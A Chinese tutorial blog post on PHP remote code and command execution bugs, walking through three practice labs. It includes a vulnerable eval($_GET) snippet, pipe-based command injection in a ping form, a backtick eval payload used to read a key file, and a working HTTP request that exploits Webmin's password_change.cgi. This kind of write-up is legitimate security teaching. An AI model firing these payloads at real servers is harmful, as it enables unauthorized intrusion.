WEB漏洞—RCE 代码及命令执行漏洞

什么是RCE?

指的是远程命令/代码执行(remote command/code execute)

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
在这里插入图片描述

容易产生此漏洞的地方

查看上面思维导图 “产生

相关函数

首先了解一个函数:eval()函数
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
即:eval(phpcode)

<?php
$code=$_GET['x'];
eval($code);

//http://127.0.0.1:8080/test.php?x=phpinfo();
//$code=phpinfo();
//eval(phpinfo(););
?>

java、python等语言都是同理。

再来了解一个函数:system()函数
执行外部程序并显示输出资料。
system语法: string system(string command, int [return_var]);
system返回值: 字符串
System()函数的主要功能是在系统权限允许的情况是执行系统命令,windows系统和Linux系统都可以执行,Windows系统下可执行可执行文件(.exe、.bat等),也可执行cmd命令,Linux下用途更广,因为Linux系统就是基于命令行的,如基本的ls、cp、rm等。

    <?php
    system(‘ipconfig’,$callback);
    echo $callback;
    ?>

漏洞形成条件

1、有可控变量
2、有漏洞函数

漏洞复现

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,如图

这是“墨者”里的一个命令执行漏洞靶场
通过输入IP可以ping出连接情况。于是这里就能够做RCE漏洞测试了。
在这里插入图片描述
测试中发现,该输入框只允许输入IP值。
在这里插入图片描述

知识点:“|”(管道符)这个符号,可以通过此符号同时执行多条命令。
在这里插入图片描述

由于这里前端加上了IP输入验证,所以我们可以通过修改数据包内容,在ip值后面加上“|”符号执行后面的“pwd”命令。
在这里插入图片描述
key这个文件中就是这个靶场通关密钥。

复现第二个靶场——PHP代码分析溯源
在这里插入图片描述
关卡内容如图
在这里插入图片描述
通过在线PHP代码运行可得出,eval函数中的代码执行的意思为
在这里插入图片描述

上面代码的意思应该为
在这里插入图片描述
由此可以得出在URL中加入:?a=ls 从而得出文件列表
以及?a=tac key=(文件名).PHP 得出PHP文件内容

知识点:虽然函数用到eval(),但是在Linux中反引号" ` "包起来的内容会被系统命令执行。所以上面a参数后跟的是系统命令。
反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。尽管可以通过输入字符或者字符串来创建变量值,也可以获取来自于其他Linux命令的值。为把Linux命令的结果赋予变量,实现需要执行这个命令。如果在命令行上把Linux命令放在反引号中,这个命令会首先被执行,其结果会成为命令行的一个参数。在赋值时,通过把命令放在反引号中,以便于首先执行,命令的执行结果会被赋予一个变量。反引号可以被视为由要执行命令组成的表达式,其结果会被赋予变量。组成命令的字符本身不会被赋予。在下面的范例中,命令ls*.c被执行,其结果然后被赋予变量listc。ls*.c会生成具有.c扩展名的所有文件列表。这个文件列表随后被赋予变量listc。

    $ listc=`ls *.c` 
    $ echo $listc 
    main.c prog.c lib.c 

第三个靶场尝试黑盒测试
在这里插入图片描述
页面如图
在这里插入图片描述
通过百度得知:
Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。

不管它是牛是马,网上寻找相关漏洞
https://www.cnblogs.com/whoami101/p/11465877.html

通过抓包修改其数据包如下

POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://127.0.0.1:10000/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache

user=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2

得到结果
在这里插入图片描述
将数据包中“old=id”改为“old=ls”,得到当前目录中文件
在这里插入图片描述
复现RCE成功

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值